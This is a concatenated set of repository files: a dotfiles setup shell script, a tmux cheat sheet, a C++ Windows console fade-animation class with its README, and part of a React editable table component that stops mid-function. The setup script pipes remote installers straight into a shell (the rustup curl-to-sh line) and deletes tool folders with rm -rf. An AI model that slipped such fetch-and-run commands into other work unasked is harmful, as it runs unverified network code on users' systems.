wget -qO - "https://raw.githubusercontent.com/ryanoasis/nerd-fonts/master/patched-fonts/LiberationMono/complete/Literation%20Mono%20Nerd%20Font%20Complete.ttf" > "${my_font}"
else
echo "Couldn't download fonts: please install curl or wget"
fi
if which fc-cache >/dev/null 2>&1; then
echo "Resetting font cache, this may take a moment..."
fc-cache -f "$(dirname "${my_font}")"
fi
echo "Installed fonts."
}
install_diff_so_fancy() {
local install_path="${scriptDir}/tools/diff-so-fancy"
if [ ${force_reinstall} -eq 0 -a -d "${install_path}" ]; then return 0; fi
if ! yes_no "Install diff-so-fancy?" "Y"; then return 0; fi
if [ ${force_reinstall} -ne 0 ]; then
rm -rf "${install_path}"
fi
echo "Installing diff-so-fancy..."
git clone --quiet https://github.com/so-fancy/diff-so-fancy "${install_path}"
echo "Installed diff-so-fancy."
}
install_python_tools() {
if ! yes_no "Install Python tools?" "N"; then return 0; fi
echo "Installing Python tools..."
pip --quiet install --user --upgrade pip || pip3 --quiet install --user --upgrade pip
pip --quiet install --user --upgrade cmake-language-server pylint black poetry "python-lsp-server[pylint]" pyls-isort python-lsp-black
echo "Installed Python tools."
}
install_rust_tools() {
local rustup_path=~/.cargo/bin/rustup
if [ ${force_reinstall} -eq 0 -a -e "${rustup_path}" ]; then return 0; fi
if ! yes_no "Install rust tools?" "N"; then return 0; fi
if [ ${force_reinstall} -ne 0 ]; then
rm -rf ~/.cargo
fi
if [ -e "${rustup_path}" ]; then
echo "Updating rust tools..."
"${rustup_path}" update
echo "Updated rust tools."
return 0
fi
echo "Installing rust tools..."
if type curl 2>&1 1>/dev/null; then
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- --quiet --no-modify-path -y
elif type wget 2>&1 1>/dev/null; then
wget -qO - https://sh.rustup.rs | sh -s -- --quiet --no-modify-path -y
else
echo "Couldn't download rust installer: please install curl or wget"
fi
echo "Installed rust tools."
}
install_latex_tools() {
local texlab_path=~/.local/bin/texlab
if [ ${force_reinstall} -eq 0 -a -e "${texlab_path}" ]; then return 0; fi
if ! yes_no "Install LaTeX tools?" "N"; then return 0; fi
if [ ${force_reinstall} -ne 0 ]; then
rm -f "${texlab_path}"
fi
echo "Installing LaTeX tools..."
if type curl 2>&1 1>/dev/null; then
curl --proto '=https' --tlsv1.2 -LsSf https://github.com/latex-lsp/texlab/releases/latest/download/texlab-x86_64-linux.tar.gz | tar -zxC "$(dirname "${texlab_path}")"
elif type wget 2>&1 1>/dev/null; then
wget -qO - https://github.com/latex-lsp/texlab/releases/latest/download/texlab-x86_64-linux.tar.gz | tar -zxC "$(dirname "${texlab_path}")"
else
echo "Couldn't download texlab binaries: please install curl or wget"
fi
echo "Installed LaTeX tools."
}
nodejs_top_folder=~/.nodejs
npm_bin_folder="${nodejs_top_folder}/bin"
npm_path="${npm_bin_folder}/npm"
install_nodejs() {
if [ ${force_reinstall} -eq 0 -a -e "${npm_path}" ]; then return 0; fi
if ! yes_no "Install nodejs tools?" "N"; then return 0; fi
if [ ${force_reinstall} -ne 0 ]; then
rm -rf "${nodejs_top_folder}"
fi
echo "Installing nodejs tools..."
mkdir -p "${nodejs_top_folder}"
if type curl 2>&1 1>/dev/null; then
curl --proto '=https' --tlsv1.2 -LsSf https://nodejs.org/dist/v17.8.0/node-v17.8.0-linux-x64.tar.xz | tar -JxC "${nodejs_top_folder}"
elif type wget 2>&1 1>/dev/null; then
wget -qO - https://nodejs.org/dist/v17.8.0/node-v17.8.0-linux-x64.tar.xz | tar -JxC "${nodejs_top_folder}"
else
echo "Couldn't download nodejs binaries: please install curl or wget"
fi
mv "${nodejs_top_folder}"/node-*/* "${nodejs_top_folder}"
rm -rf "${nodejs_top_folder}"/node-*
"${npm_path}" install --global npm
echo "Installed nodejs tools."
}
install_bash_utilities() {
local lsp_path="${npm_bin_folder}/bash-language-server"
if [ ${force_reinstall} -eq 0 -a -e "${lsp_path}" ]; then return 0; fi
if ! yes_no "Install bash tools?" "N"; then return 0; fi
if [ ! -f "${npm_path}" ]; then
echo 'Please install npm using this script'
return 1
fi
if [ ${force_reinstall} -ne 0 ]; then
rm -rf "${lsp_path}"
fi
echo "Installing bash tools..."
"${npm_path}" install --global bash-language-server
echo "Installing bash tools."
}
install_vim_utilities() {
local lsp_path="${npm_bin_folder}/vim-language-server"
if [ ${force_reinstall} -eq 0 -a -e "${lsp_path}" ]; then return 0; fi
if ! yes_no "Install vim tools?" "N"; then return 0; fi
if [ ! -f "${npm_path}" ]; then
echo 'Please install npm using this script'
return 1
fi
if [ ${force_reinstall} -ne 0 ]; then
rm -rf "${lsp_path}"
fi
echo "Installing vim tools..."
"${npm_path}" install --global vim-language-server
echo "Installed vim tools."
}
parse_command_line "$@"
install_conf_files
install_neovim
install_vim_plugins
install_starship
install_fonts
install_diff_so_fancy
install_python_tools
install_rust_tools
install_latex_tools
install_nodejs
install_bash_utilities
install_vim_utilities
<file_sep>#! /bin/sh
echo ~/.config/nvim/
<file_sep>= tmux cheat sheet
Note: linked to my own config !
== General
// Create a new session with a name
tmux new -s myname
// Reattach a named session
tmux a -t myname
// List sessions
tmux ls
// Detach session
C-a d
// To copy and paste some buffer content:
// - enter copy mode with
C-a ESC
// - navigate to the start of the text to copy, then
Space
// - navigate to the end of the text, then
Enter
// - the text is now copied (internal to the tmux session only) and the copy
// mode is exited automatically. To copy the content, in normal mode:
C-a ]
== Windows (= tabs)
// Create a window
C-a c
// Next window
C-a n
S-Up,Right
// Previous windows
C-a p
S-Down,Left
// Rename window
C-a A
// Kill windows
C-a &
== Panes (= splits)
// Create a vertical split
C-a |
// Create a horizontal split
C-a -
// Show pane numbers (when shown, type a number to go to it)
C-a q
// Switch pane zoom (normal <-> full window)
C-a z
// Select the next pane in the current window
C-a o
// Swap the current pane with the previous pane
C-a {
// Swap the current pane with the next pane
C-a }
// Go to adjacent pane (works with left/right arrows too, but not up/down)
C-a h,j,k,l
C-Left,Down,Up,Right
// Resize pane in one direction
C-a H,J,K,L
C-a Left,Down,Up,Right
// Rename pane (depends on xterm, not that reliable)
C-a B
// Kill pane
C-a x
// Move current pane clockwise, counterclockwise
C-a }
C-a {
// Rotate all the panes clockwise, counterclockwise
C-a M-o
C-a C-o
// Make the current pane a new window
C-a !
|
ed26ccc7307171a5a8f760cab8002cd7aabecaec
|
[
"TOML",
"Shell",
"Git Config",
"AsciiDoc",
"Vim Script"
] | 12 |
TOML
|
ctribout/conf
|
8d5a71d8b9406f415b3ff5a1516939b29fc30f5c
|
35105b74adb538634887c67d4a334fdd91c05825
|
refs/heads/master
|
<repo_name>ioncodes/CFade<file_sep>/README.md
# CFade
Console Fader Animator class in C++. This is the more advanced version of [FadingConsole](https://github.com/ioncodes/FadingConsole).
# Screenies
[GIF](http://i.imgur.com/xvkhFpQ.gifv)
# Usage
```c++
#include "fader.hpp"
#include <iostream>
#include <string>
int main()
{
FadeAnimator fa = FadeAnimator(255, 150, 12); // new Animator. int maximum, int minimum, int speed
std::cin.get();
std::cout << "FadeInAnimation";
fa.FadeInAnimation(); // Fade in animation
std::cin.get();
std::cout << "FadeOutAnimation";
fa.FadeOutAnimation(); // fade out animation
std::cin.get();
fa.FadeInOutAnimation(10, true); // fade in and out animation. int amount, bool threaded
std::string str;
getline(std::cin, str);
return 0;
}
```
## FadeAnimator
The constructor takes 3 arguments. The first and second one is the maximum transparency and the second is the minim value.
Both values must be between 0 and 255.
The third one is the speed. Be careful with it, because as of now it uses Sleep() to create the animation. The less the value,
the faster the animation. Recommended is around 10.
## FadeInAnimation & FadeOutAnimation
These don't take any arguments.
FadeInAnimation will start with minimum and ends with maximum. (increasing)
FadeOutAnimation will start with maximium and ends with minimum. (decreasing)
Both will block user input.
## FadeInOutAnimation
This one takes 2 arguments. The first one is the amount of times to fade in and out. It uses minimum and maximum.
1 iteration will fade in AND out! Which means, if you set amout to 2 it will: fade in, fade out, fade in, fade out.
The second argument indicates wether it should start the animation as new thread or not. If you start it with false it will block the user input.
## Setters
To manipulate minimum, maximum and speed at runtime you can use these:
```c++
SetMaximum(int)
SetMinimum(int)
SetSpeed(int)
```
To set the transparency to a specific value, you can use this one:
```c++
SetTransparency(int)
```
<file_sep>/CFade/fader.hpp
#pragma once
#include <Windows.h>
#include <thread>
class FadeAnimator
{
private:
HWND consoleWnd = NULL;
int minimum = 0;
int maximum = 0;
int speed = 10;
int amount = 0;
public:
FadeAnimator(int maximum, int minimum, int speed);
static BOOL WindowTransparency(HWND hwnd, BYTE bAlpha)
{
SetWindowLong(hwnd, GWL_EXSTYLE, GetWindowLong(hwnd, GWL_EXSTYLE) | WS_EX_LAYERED);
SetLayeredWindowAttributes(hwnd, RGB(255, 255, 255), bAlpha, 2);
return true;
}
VOID SetTransparency(int transparency) const
{
WindowTransparency(consoleWnd, transparency); // Set the transparency
}
VOID FadeInAnimation() const
{
for (int i = minimum; i <= maximum; i++)
{
SetTransparency(i);
Sleep(speed);
}
}
VOID FadeOutAnimation() const
{
for (int i = maximum; i >= minimum; i--)
{
SetTransparency(i);
Sleep(speed);
}
}
VOID FadeInOutAnimation(int amount, bool threaded) const
{
if(threaded)
{
std::thread([&] {
this->IOAnimator(amount);
}).detach();
}
else
{
IOAnimator(amount);
}
}
VOID IOAnimator(int amount) const
{
for (int j = 0; j < amount; j++)
{
for (int i = minimum; i <= maximum; i++)
{
SetTransparency(i);
Sleep(speed);
}
for (int i = maximum; i >= minimum; i--)
{
SetTransparency(i);
Sleep(speed);
}
}
}
VOID SetMaximum(int maximum)
{
this->maximum = maximum;
}
VOID SetMinimum(int minimum)
{
this->minimum = minimum;
}
VOID SetSpeed(int speed)
{
this->speed = speed;
}
};
inline FadeAnimator::FadeAnimator(int maximum, int minimum, int speed)
{
consoleWnd = GetConsoleWindow();
this->maximum = maximum;
this->minimum = minimum;
this->speed = speed;
}<file_sep>/CFade/main.cpp
#include "fader.hpp"
#include <iostream>
#include <string>
int main()
{
FadeAnimator fa = FadeAnimator(255, 150, 12);
std::cin.get();
std::cout << "FadeInAnimation";
fa.FadeInAnimation();
std::cin.get();
std::cout << "FadeOutAnimation";
fa.FadeOutAnimation();
std::cin.get();
fa.FadeInOutAnimation(10, true);
std::string str;
getline(std::cin, str);
return 0;
}
|
80fba6c77a95390547ed4c8f1a89a3bd62cdd629
|
[
"Markdown",
"C++"
] | 3 |
Markdown
|
ioncodes/CFade
|
da7914bed1bfbac244c2ebf8b871081c68323d7f
|
e8672ad7c6639f87ba7f1ce29ca8d953d6287077
|
refs/heads/master
|
<file_sep># CI-3-Kick_start
I will update discreption later
|
1f99c18248fe806493c738e9d479ce2e06f5397b
|
[
"Markdown"
] | 1 |
Markdown
|
mehdi89/CI-3-Kick_start
|
25f80180b9e7a0892457c7b31ad04e11577d4258
|
d11d36648a45427e6c369c57bfaf535dc821f7dd
|
refs/heads/master
|
<file_sep>#include "ArmBallCommand.h"
#include "FireBallCommand.h"
#include "VommitBallCommand.h"
#include "IntakeBallCommandGroup.h"
#include "TurnOnShooterCommand.h"
#include "TurnOffShooterCommand.h"
class JoystickButton;
class OI {
private:
Joystick* m_driverStick;
Joystick* m_auxStick;
JoystickButton* m_armBallButton;
JoystickButton* m_fireBallButton;
JoystickButton* m_vommitBallButton;
JoystickButton* m_intakeBallButton;
JoystickButton* m_cancelIntakeButton;
JoystickButton* m_turnOnShooterButton;
JoystickButton* m_turnOffShooterButton;
OI() {
m_driverStick = new Joystick(0);
m_auxStick = new Joystick(1);
m_armBallButton = new JoystickButton(m_auxStick, 0);
m_armBallButton->WhenPressed(new ArmBallCommand());
m_fireBallButton = new JoystickButton(m_auxStick, 1);
m_fireBallButton->WhenPressed(new FireBallCommand());
m_vommitBallButton = new JoystickButton(m_auxStick, 2);
m_vommitBallButton->WhileHeld(new VommitBallCommand());
m_intakeBallButton = new JoystickButton(m_auxStick, 3);
m_intakeBallButton->WhenPressed(new IntakeBallCommandGroup());
m_cancelIntakeButton = new JoystickButton(m_auxStick, 4);
m_cancelIntakeButton->WhenPressed(new CancelIntakeCommand());
m_turnOnShooterButton = new JoystickButton(m_auxStick, 5);
m_turnOnShooterButton->WhenPressed(new TurnOnShooterCommand());
m_turnOffShooterButton = new JoystickButton(m_auxStick, 6);
m_turnOffShooterButton->WhenPressed(new TurnOffShooterCommand());
}
};
<file_sep>
class FireBallCommand : CommandBase {
public:
bool m_skip;
FireBallCommand() : CommandBase("FireBallCommand") {
Require(m_lift);
}
void Initialize() {
if (m_shooter->isOnTarget()) {
m_skip = false;
m_lift->liftOnFwd();
} else {
m_skip = true;
}
}
void Execute() {}
bool IsFinished() {
return !m_lift->isBallAtTopSensor() || m_skip;
}
void End() {
m_lift->liftOff();
}
void Interrupted() {
End();
}
};
<file_sep>
class RobotPIDInput {
public:
virtual double readPIDInput() = 0;
};
class RobotPIDOutput {
public:
virtual void writePIDOutput(double output) = 0;
};
class RoboPIDController {
private:
double m_error;
double m_maxoutput;
double m_minoutput;
double m_izone;
double m_iaccum;
double m_setpoint;
double m_kp;
double m_ki;
double m_kd;
int64_t m_prevTime;
RobotPIDInput* m_input;
RobotPIDOutput* m_output;
public:
RoboPIDController(RobotPIDInput* input, RobotPIDOutput* output) {
m_input = input;
m_output = output;
m_error = 0;
m_maxoutput = 1.0;
m_minoutput = -1.0;
m_izone = -1;
m_iaccum = 0;
m_setpoint = 0;
m_prevTime = 0;
m_kp = m_ki = m_kd = 0;
}
void update() {
//Null pointer check.
if (m_input == 0) return;
if (m_output == 0) return;
double output = 0;
//Error
double error = m_setpoint - m_input->readPIDInput();
//P
double pOutput = m_kp * error;
output += pOutput;
//I
m_iaccum += error;
double iOutput = m_ki * m_iaccum;
//I Zone Reset
if (m_izone > 0 && error > m_izone) {
iOutput = 0;
}
output += ioutput;
//D
double dOutput = 0;
if (m_prevTime > 0) {
double dt = FPGA::TimeStamp() - m_prevTime;
double deriv = m_error - error) / dt;
dOutput = m_kd * deriv;
output += dOutput;
}
m_prevTime = FPGA::TimeStamp();
SmartDashboard::putNumber("P_Output", pOutput);
SmartDashboard::putNumber("I_Output", iOutput);
SmartDashboard::putNumber("D_Output", dOutput);
SmartDashboard::putNumber("PID_Output", output);
m_output->writePIDOutput(output);
}
void setKP(double kp) {
m_kp = kp;
}
void setKI(double ki) {
m_ki = ki;
}
void setKD(double kd) {
m_kd = kd;
}
double getKP() const {
return m_kp;
}
double getKI() const {
return m_ki;
}
double getKD() const {
return m_kd;
}
};
<file_sep>
class Shooter : public PIDSubsystem() {
private:
PIDController
Jaguar* m_motor;
Counter* m_sensor;
public:
Shooter() : PIDSubsystem("Shooter", 0.001, 0.00001, 0, .01) {
m_motor = new Jaguar(2);
m_sensor = new Counter(3);
GetController()->AbsoluteTolerance(50);
GetController()->SetMinMaxInputRange(0, 6000);
GetController()->SetMinMaxOutputRange(0, 1);
}
void setSpeed(double speed) {
GetController()->SetSetpoint(speed);
}
void on() {
GetController()->Enable();
}
void off() {
GetController()->Disable();
}
bool isOnTarget() {
return GetController()->IsOnTarget();
}
protected:
void writePIDOutput(float output) {
m_motor->Set(output);
}
float readPIDInput() {
return m_sensor->GetRate();
}
};
<file_sep>
class IntakeBallIntakeCommand : CommandBase {
public:
IntakeBallIntakeCommand() : CommandBase("IntakeBallIntakeCommand") {
Require(m_intake);
}
void Initialize() {
m_intake->OnFwd();
}
void Execute() {}
bool IsFinished() {
return m_intake->isBallAtBottomSensor();
}
void End() {
m_intake->Off();
}
void Interrupted() {
End();
}
};
<file_sep>
class TurnOnShooterCommand : public CommandBase {
public:
TurnOnShooterCommand() : CommandBase("TurnOnShooterCommand") {
Require(m_shooter);
}
void Initialize() {
m_shooter->setSpeed(4500);
m_shooter->on();
}
void Execute() {}
bool IsFinished() {
return true;
}
void End() {}
void Interrupted() {}
};
<file_sep>
class WaitForShooterOnTargetCommand : public CommandBase {
WaitForShooterOnTargetCommand() : CommandBase("WaitForShooterOnTargetCommand") {
}
void Initialize() {}
void Execute() {}
bool IsFinished() {
return m_shooter->isOnTarget();
}
void End() {}
void Interrupted() {}
};
<file_sep>
class TwoBallAutoCommandGroup : public CommandGroup {
TwoBallAutoCommandGroup() : CommandGroup("TwoBallAutoCommandGroup") {
AddParallel(TurnOnShooterCommand());
AddSequential(ArmBallCommand());
AddSequential(WaitForShooterOnTargetCommand());
AddSequential(FireBallCommand());
AddSequential(WaitCommand(.5));
AddSequential(ArmBallCommand());
AddSequential(WaitForShooterOnTargetCommand());
AddSequential(FireBallCommand());
AddSequential(TurnOffShooterCommand());
}
};
<file_sep>
class TurnOffShooterCommand : public CommandBase {
public:
TurnOffShooterCommand() : CommandBase("TurnOffShooterCommand") {
Require(m_shooter);
}
void Initialize() {
m_shooter->off();
}
void Execute() {}
bool IsFinished() {
return true;
}
void End() {}
void Interrupted() {}
};
<file_sep>
class Lift : public Subsystem {
private:
Jaguar* m_motor;
DigitalInput* m_topSensor;
DigitalInput* m_midSensor;
public:
Lift() : Subsystem("Lift") {
m_motor = new Jaguar(0);
m_topSensor = new DigitalInput(0);
m_midSensor = new DigitalInput(1);
}
bool isBallAtMidSensor() {
return m_midSensor->Get();
}
bool isBallAtTopSensor() {
return m_topSensor->Get();
}
void liftOnFwd() {
m_motor->Set(1);
}
void liftOnRev() {
m_motor->Set(-1);
}
void liftOff() {
m_motor->Set(0);
}
};
<file_sep>
class VommitBallCommand : CommandBase {
public:
VommitBallCommand() : CommandBase("VommitBallCommand") {
Require(m_intake);
Require(m_lift);
}
void Initialize() {
m_intake->onRev();
m_lift->liftOnRev();
}
void Execute() {}
bool IsFinished() {
return false;
}
void End() {}
void Interrupted() {
m_intake->off();
m_lift->liftOff();
}
};
<file_sep>
class Intake : public Subsystem {
private:
Jaguar* m_motor;
DigitalInput* m_bottomSensor;
public:
Intake() : Subsystem("Intake") {
m_motor = new Jaguar(1);
m_bottomSensor = new DigitalInput(2);
}
bool isBallAtBottomSensor() {
return m_bottomSensor->Get();
}
void onFwd() {
m_motor->Set(1);
}
void onRev() {
m_motor->Set(-1);
}
void off() {
m_motor->Set(0);
}
}
<file_sep>
class IntakeBallCommandGroup : public CommandGroup {
public:
IntakeBallCommandGroup() {
AddSequential(new IntakeBallIntakeCommand());
AddSequential(new IntakeBallLiftCommand());
}
};
<file_sep>
class IntakeBallLiftCommand : CommandBase {
public:
IntakeBallLiftCommand() : CommandBase("IntakeBallLiftCommand") {
Require(m_lift);
}
void Initialize() {
m_lift->liftOnFwd();
}
void Execute() {}
bool IsFinished() {
return m_lift->isBallAtMidSensor();
}
void End() {
m_lift->liftOff();
}
void Interrupted() {
End();
}
};
|
cc4125f09a4517e9800c371f7129cf2bee1763c9
|
[
"C++"
] | 14 |
C++
|
Frc2481/commandbased_2012_rewrite
|
48feebce37b64a7222750aefa352b770570a8bbd
|
17c8fff133d1721593cc9076037ef5ec89992d1f
|
refs/heads/master
|
<file_sep>import React, {useState} from 'react';
const icon_filter = (<svg className="bi bi-filter" width="1em" height="1em" viewBox="0 0 16 16" fill="currentColor"
xmlns="http://www.w3.org/2000/svg">
<path fill-rule="evenodd"
d="M6 10.5a.5.5 0 0 1 .5-.5h3a.5.5 0 0 1 0 1h-3a.5.5 0 0 1-.5-.5zm-2-3a.5.5 0 0 1 .5-.5h7a.5.5 0 0 1 0 1h-7a.5.5 0 0 1-.5-.5zm-2-3a.5.5 0 0 1 .5-.5h11a.5.5 0 0 1 0 1h-11a.5.5 0 0 1-.5-.5z"/>
</svg>);
const icon_close = (<svg className="bi bi-x-octagon" width="1em" height="1em" viewBox="0 0 16 16" fill="currentColor"
xmlns="http://www.w3.org/2000/svg">
<path fill-rule="evenodd"
d="M4.54.146A.5.5 0 0 1 4.893 0h6.214a.5.5 0 0 1 .353.146l4.394 4.394a.5.5 0 0 1 .146.353v6.214a.5.5 0 0 1-.146.353l-4.394 4.394a.5.5 0 0 1-.353.146H4.893a.5.5 0 0 1-.353-.146L.146 11.46A.5.5 0 0 1 0 11.107V4.893a.5.5 0 0 1 .146-.353L4.54.146zM5.1 1L1 5.1v5.8L5.1 15h5.8l4.1-4.1V5.1L10.9 1H5.1z"/>
<path fill-rule="evenodd" d="M11.854 4.146a.5.5 0 0 1 0 .708l-7 7a.5.5 0 0 1-.708-.708l7-7a.5.5 0 0 1 .708 0z"/>
<path fill-rule="evenodd" d="M4.146 4.146a.5.5 0 0 0 0 .708l7 7a.5.5 0 0 0 .708-.708l-7-7a.5.5 0 0 0-.708 0z"/>
</svg>);
function TableHeader(props) {
const [isfilterInputOn, setIsfilterInputOn] = useState(false);
const filterOn = () => {
setIsfilterInputOn(true);
}
const filterInputClose = () => {
setIsfilterInputOn(false);
props.addFilter(props.title,"");
}
const onFilterChange = (e) => {
props.addFilter(props.title, e.target.value);
};
return (
<th key={props.index} scope="col">
{props.title}
{ (props.title!='id') && (!isfilterInputOn) ?
<span className="stepahead btn-outline-info" onClick={() => filterOn()}>
{icon_filter}
</span>
:
(props.title!='id') &&
<>
<span className="flex-parent">
<input type="text" className="" onChange={onFilterChange}/>
<span className="flex-child btn-outline-info" onClick={filterInputClose}>
{icon_close}
</span>
</span>
</>
}
</th>
);
}
export default TableHeader;<file_sep>import React, {useState} from 'react';
import Column from "./Column";
import TableHeader from "./TableHeader";
const tableHeadTitles = [
"id", "name","username", "email","address","phone","website","company" ];
function Table(props) {
const addFilter = (field,value) => {
const updatedFilters = {...props.filters};
if(!value.replace(/\s/g, '').length){ //if value only contains whitespace (ie. spaces, tabs or line breaks)
delete updatedFilters[field]; // remove this key from filters
}
else { updatedFilters[field] = value;}
props.setFilters(updatedFilters);
props.apllyFiltersToUsers();
}
return (
<div className="table-responsive">
<table className="table table-hover table-bordered">
<thead>
<tr className="">
{tableHeadTitles.map((title,index) =>
<TableHeader title={title} index={index} addFilter={addFilter} /> )}
</tr>
</thead>
<tbody>
{props.users.map(el =>(
<tr key={el.id} className="">
<th scope="row">{el.id}</th>
<Column lastEditModeReset={props.lastEditModeReset} runLastEditModeReset={props.runLastEditModeReset} remember_LastEditModeReset={props.remember_LastEditModeReset} change_item={props.change_item} id={el.id} item_value={el.name} item_key={"name"} />
<Column lastEditModeReset={props.lastEditModeReset} runLastEditModeReset={props.runLastEditModeReset} remember_LastEditModeReset={props.remember_LastEditModeReset} change_item={props.change_item} id={el.id} item_value={el.username} item_key={"username"} />
<Column lastEditModeReset={props.lastEditModeReset} runLastEditModeReset={props.runLastEditModeReset} remember_LastEditModeReset={props.remember_LastEditModeReset} change_item={props.change_item} id={el.id} item_value={el.email} item_key={"email"} />
<Column lastEditModeReset={props.lastEditModeReset} runLastEditModeReset={props.runLastEditModeReset} remember_LastEditModeReset={props.remember_LastEditModeReset} change_item={props.change_item} id={el.id} item_value={el.address["street"]+" "+ el.address["suite"]+", "+el.address["city"]+", "+el.address["zipcode"] } item_key={"address"} el={el.address} />
<Column lastEditModeReset={props.lastEditModeReset} runLastEditModeReset={props.runLastEditModeReset} remember_LastEditModeReset={props.remember_LastEditModeReset} change_item={props.change_item} id={el.id} item_value={el.phone} item_key={"phone"} />
<Column lastEditModeReset={props.lastEditModeReset} runLastEditModeReset={props.runLastEditModeReset} remember_LastEditModeReset={props.remember_LastEditModeReset} change_item={props.change_item} id={el.id} item_value={el.website} item_key={"website"} />
<Column lastEditModeReset={props.lastEditModeReset} runLastEditModeReset={props.runLastEditModeReset} remember_LastEditModeReset={props.remember_LastEditModeReset} change_item={props.change_item} id={el.id} item_value={el.company["name"]} item_key={"company"} />
</tr>)
)}
</tbody>
</table>
</div>
);
}
export default Table;
<file_sep>import React, {useState} from 'react';
import ItemisAddress from "./ItemisAddress";
const icon_cancel = (<svg className="bi bi-x-circle" width="1em" height="1em" viewBox="0 0 16 16" fill="currentColor"
xmlns="http://www.w3.org/2000/svg">
<path fill-rule="evenodd" d="M8 15A7 7 0 1 0 8 1a7 7 0 0 0 0 14zm0 1A8 8 0 1 0 8 0a8 8 0 0 0 0 16z"/>
<path fill-rule="evenodd" d="M11.854 4.146a.5.5 0 0 1 0 .708l-7 7a.5.5 0 0 1-.708-.708l7-7a.5.5 0 0 1 .708 0z"/>
<path fill-rule="evenodd" d="M4.146 4.146a.5.5 0 0 0 0 .708l7 7a.5.5 0 0 0 .708-.708l-7-7a.5.5 0 0 0-.708 0z"/>
</svg>);
const icon_edit = (<svg className="bi bi-pencil-square" width="1em" height="1em" viewBox="0 0 16 16" fill="currentColor"
xmlns="http://www.w3.org/2000/svg">
<path
d="M15.502 1.94a.5.5 0 0 1 0 .706L14.459 3.69l-2-2L13.502.646a.5.5 0 0 1 .707 0l1.293 1.293zm-1.75 2.456l-2-2L4.939 9.21a.5.5 0 0 0-.121.196l-.805 2.414a.25.25 0 0 0 .316.316l2.414-.805a.5.5 0 0 0 .196-.12l6.813-6.814z"/>
<path fill-rule="evenodd"
d="M1 13.5A1.5 1.5 0 0 0 2.5 15h11a1.5 1.5 0 0 0 1.5-1.5v-6a.5.5 0 0 0-1 0v6a.5.5 0 0 1-.5.5h-11a.5.5 0 0 1-.5-.5v-11a.5.5 0 0 1 .5-.5H9a.5.5 0 0 0 0-1H2.5A1.5 1.5 0 0 0 1 2.5v11z"/>
</svg>);
const icon_submit = (
<svg className="bi bi-check-circle" width="1em" height="1em" viewBox="0 0 16 16" fill="currentColor"
xmlns="http://www.w3.org/2000/svg">
<path fill-rule="evenodd" d="M8 15A7 7 0 1 0 8 1a7 7 0 0 0 0 14zm0 1A8 8 0 1 0 8 0a8 8 0 0 0 0 16z"/>
<path fill-rule="evenodd"
d="M10.97 4.97a.75.75 0 0 1 1.071 1.05l-3.992 4.99a.75.75 0 0 1-1.08.02L4.324 8.384a.75.75 0 1 1 1.06-1.06l2.094 2.093 3.473-4.425a.236.236 0 0 1 .02-.022z"/>
</svg>);
function Column(props) {
const [isEditValueOn, setIsEditValueOn] = useState(false);
const [itemInput, setItemInput] = useState(props.item_value);
const onTaskChange = (e) => {
setItemInput(e.target.value);
};
const editOn = () => {
if (props.lastEditModeReset!=null) {
props.runLastEditModeReset(); // - если была открыта форма ред. в другой ячейки то мы ее закрываем
}
props.remember_LastEditModeReset(editModeOnReset); // - запоминаем текущую форму закрытия режима редактирования поля
setIsEditValueOn(true);
};
const editModeOnReset = () => {
setIsEditValueOn(false);
props.remember_LastEditModeReset(null);
};
const taskSubmit = (e) => {
e.preventDefault();
console.log(itemInput);
props.change_item(props.id, props.item_key, itemInput);
editModeOnReset();
};
return (
<td className="">
{!isEditValueOn &&
<div className="flex-parent">
<span className="flex-child"> {props.item_value} </span>
<span className="flex-child btn-outline-info" onClick={() => editOn()}>
{icon_edit}
</span>
</div>
}
{isEditValueOn && (props.item_key != 'address') &&
<div className="flex-parent">
<span className="">
<input type="text" className="" value={itemInput} onChange={onTaskChange}/>
</span>
<span className="btn-outline-info flex-child "
onClick={taskSubmit}>{icon_submit}
</span>
<span className="flex-child btn-outline-info"
onClick={editModeOnReset}>{icon_cancel}
</span>
</div>
}
{(props.item_key == 'address') && isEditValueOn &&
<ItemisAddress id={props.id} address={props.el} eidtModeOnReset={editModeOnReset} change_item={props.change_item}/>
}
</td>
);
}
export default Column;<file_sep>import React, {useState} from 'react';
const icon_cancel = (<svg className="bi bi-x-circle" width="1em" height="1em" viewBox="0 0 16 16" fill="currentColor"
xmlns="http://www.w3.org/2000/svg">
<path fill-rule="evenodd" d="M8 15A7 7 0 1 0 8 1a7 7 0 0 0 0 14zm0 1A8 8 0 1 0 8 0a8 8 0 0 0 0 16z"/>
<path fill-rule="evenodd" d="M11.854 4.146a.5.5 0 0 1 0 .708l-7 7a.5.5 0 0 1-.708-.708l7-7a.5.5 0 0 1 .708 0z"/>
<path fill-rule="evenodd" d="M4.146 4.146a.5.5 0 0 0 0 .708l7 7a.5.5 0 0 0 .708-.708l-7-7a.5.5 0 0 0-.708 0z"/>
</svg>);
const icon_edit = (<svg className="bi bi-pencil-square" width="1em" height="1em" viewBox="0 0 16 16" fill="currentColor"
xmlns="http://www.w3.org/2000/svg">
<path
d="M15.502 1.94a.5.5 0 0 1 0 .706L14.459 3.69l-2-2L13.502.646a.5.5 0 0 1 .707 0l1.293 1.293zm-1.75 2.456l-2-2L4.939 9.21a.5.5 0 0 0-.121.196l-.805 2.414a.25.25 0 0 0 .316.316l2.414-.805a.5.5 0 0 0 .196-.12l6.813-6.814z"/>
<path fill-rule="evenodd"
d="M1 13.5A1.5 1.5 0 0 0 2.5 15h11a1.5 1.5 0 0 0 1.5-1.5v-6a.5.5 0 0 0-1 0v6a.5.5 0 0 1-.5.5h-11a.5.5 0 0 1-.5-.5v-11a.5.5 0 0 1 .5-.5H9a.5.5 0 0 0 0-1H2.5A1.5 1.5 0 0 0 1 2.5v11z"/>
</svg>);
const icon_submit = (
<svg className="bi bi-check-circle" width="1em" height="1em" viewBox="0 0 16 16" fill="currentColor"
xmlns="http://www.w3.org/2000/svg">
<path fill-rule="evenodd" d="M8 15A7 7 0 1 0 8 1a7 7 0 0 0 0 14zm0 1A8 8 0 1 0 8 0a8 8 0 0 0 0 16z"/>
<path fill-rule="evenodd"
d="M10.97 4.97a.75.75 0 0 1 1.071 1.05l-3.992 4.99a.75.75 0 0 1-1.08.02L4.324 8.384a.75.75 0 1 1 1.06-1.06l2.094 2.093 3.473-4.425a.236.236 0 0 1 .02-.022z"/>
</svg>);
function ItemisAddress(props) {
const [streetInput, setstreetInput] = useState(props.address.street);
const [suiteInput, setsuiteInput] = useState(props.address.suite);
const [cityInput, setcityInput] = useState(props.address.city);
const [zipInput, setzipInput] = useState(props.address.zipcode);
const onStreetChange = (e) => {
setstreetInput(e.target.value);
};
const onSuiteChange = (e) => {
setsuiteInput(e.target.value);
};
const onCityChange = (e) => {
setcityInput(e.target.value);
};
